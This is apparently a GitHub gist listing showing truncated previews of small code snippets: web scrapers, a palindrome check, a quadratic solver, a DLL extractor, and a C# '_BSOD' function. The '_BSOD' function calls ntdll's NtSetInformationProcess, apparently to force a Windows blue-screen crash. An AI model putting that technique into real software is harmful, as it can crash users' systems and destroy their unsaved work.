This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup as bs | |
import requests | |
import jsonpickle | |
class ACMP(object): | |
def __init__(self, task_array): | |
self.tasks = task_array | |
class Task(object): | |
def __init__(self, id, title, topic, solution, difficulty, solvability, accepted): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s=input() | |
print('YNEOS'[s!=s[::-1]::2]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package xyz.nuark; | |
import java.util.regex.Matcher; | |
import java.util.regex.Pattern; | |
/** | |
* @author Nuark | |
* @version 1.0 | |
* | |
* Класс, который решает квадратные уравнения. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup as bs | |
import requests | |
def main(): | |
print("Connecting to regru...") | |
url = "https://www.reg.ru/company/prices" | |
doc = bs(requests.get(url).content, "html5lib") | |
doms = doc.select("div.b-table-tlds__wrapper") | |
lists = doc.select("li.tooltip") | |
domensarray = [["Domain", "International", "Discount", "End price", "Valute"]] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!File.Exists("Newtonsoft.Json.dll")) | |
{ | |
byte[] resf; | |
resf = Properties.Resources.Newtonsoft_Json; | |
File.WriteAllBytes("Newtonsoft.Json.dll", resf); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
[DllImport("ntdll.dll")] | |
public static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l); | |
void _BSOD() | |
{ | |
Process p = Process.GetCurrentProcess(); | |
int g = 1; |
NewerOlder